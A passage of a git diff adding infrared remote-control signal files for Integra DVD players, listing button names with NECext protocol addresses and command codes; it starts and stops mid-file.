00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D5 00 00 00 +# +name: DISC2 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D6 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D6 00 00 00 +# +name: DISC3 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D7 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D7 00 00 00 +# +name: DISC4 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D8 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D8 00 00 00 +# +name: DISC5 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D9 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D9 00 00 00 +# +name: DISC6 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: DA 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir new file mode 100644 index 000000000..0b0cce65e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POP-UP_MENU +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: D2 1F 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir new file mode 100644 index 000000000..3f78ba42e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir @@ -0,0 +1,1232 @@ +Filetype: IR signals file +Version: 1 +# +name: PWR_ON-OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 04 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 04 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 04 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 05 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 05 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 06 00 00 00 +# +name: DISPLAY/NAVI +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 06 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 07 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 08 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 08 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 08 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 09 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0A 00 00 00 +# +name: RANDOM_1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0A 00 00 00 +# +name: STEP/SLOW_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: SLOW_MOTION_> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: STEP_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: SLOW+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: SLOW_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: STEP/SLOW_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: FAST_FORWARD>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: FORWARD_SEARCH +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: RR +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: FAST_REWIND<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: FAST_REWIND_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: REVERSE_SEARCH +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 11 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 13 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 15 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 16 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 17 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 18 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 18 00 00 00 +# +name: SEARCH/ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 19 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1C 00 00 00 +# +name: STOP_5.1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1C 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: CHAPTER> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: NEXT_TRACK/CHPT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: TRACK+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: CHAP_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: TRACK_> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: TRACK- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: CHAPTER< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: PREV_TRACK/CHPT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: TRACK- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: CHAP_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: TRACK_< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1F 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 44 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 45 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 45 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 46 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 48 00 00 00 +# +name: ZOOM_ON +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 48 00 00 00 +# +name: LAST_M +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 49 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 49 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4A 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4B 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4D 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4D 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4E 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4F 00 00 00 +# +name: MENU_(_DISC_) +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: C_DN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: C_LF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: C_RT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 54 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 55 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 55 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 56 00 00 00 +# +name: DNR +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 57 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 58 00 00 00 +# +name: SPEED_> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8A 00 00 00 +# +name: SPEED_< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8C 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8C 00 00 00 +# +name: STEP/SLOW_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: SLOW_MOTION_< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: STEP- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: SLOW- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: SLOW_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: STEP/SLOW_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: NEXT_SELECTION +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 90 00 00 00 +# +name: AUDIO_SEL +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 92 00 00 00 +# +name: PROGRESSIVE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 92 00 00 00 +# +name: PRORESSIVE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 92 00 00 00 +# +name: V._REMOTE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 93 00 00 00 +# +name: COND_M +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 96 00 00 00 +# +name: COND._M +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 96 00 00 00 +# +name: CONDITION_MEMORY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 96 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 96 00 00 00 +# +name: FUNCTION_M +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 97 00 00 00 +# +name: FUNCTION_MENU +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 97 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 99 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 99 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 9A 00 00 00 +# +name: STILL_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 9B 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 9B 00 00 00 +# +name: STILL_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 9C 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 9C 00 00 00 +# +name: QUICK +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 9E 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D0 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D0 00 00 00 +# +name: ZOOM+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D0 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D1 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D1 00 00 00 +# +name: ZOOM- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D1 00 00 00 +# +name: CD_MODE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D2 00 00 00 +# +name: CDPLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D2 00 00 00 +# +name: CHAIN_MODE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D2 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D3 00 00 00 +# +name: DISC+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D3 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D3 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D3 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D4 00 00 00 +# +name: DISC- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D4 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D4 00 00 00 +# +name: D1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D5 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D5 00 00 00 +# +name: DISC1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D5 00 00 00 +# +name: D2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D6 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D6 00 00 00 +# +name: DISC2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D6 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D6 00 00 00 +# +name: D3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D7 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D7 00 00 00 +# +name: DISC3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D7 00 00 00 +# +name: D4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D8 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D8 00 00 00 +# +name: DISC4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D8 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D8 00 00 00 +# +name: D5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D9 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D9 00 00 00 +# +name: DISC5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D9 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D9 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DA 00 00 00 +# +name: DISC6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DA 00 00 00 +# +name: D6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DA 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DA 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DD 00 00 00 +# +name: ASPECT/ZOOM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DE 00 00 00 +# +name: VIDEO_OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DF 00 00 00 +# +name: VID_OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir new file mode 100644 index 000000000..3a0022b85 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 0A 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 12 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 13 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 14 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 45 B5 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed 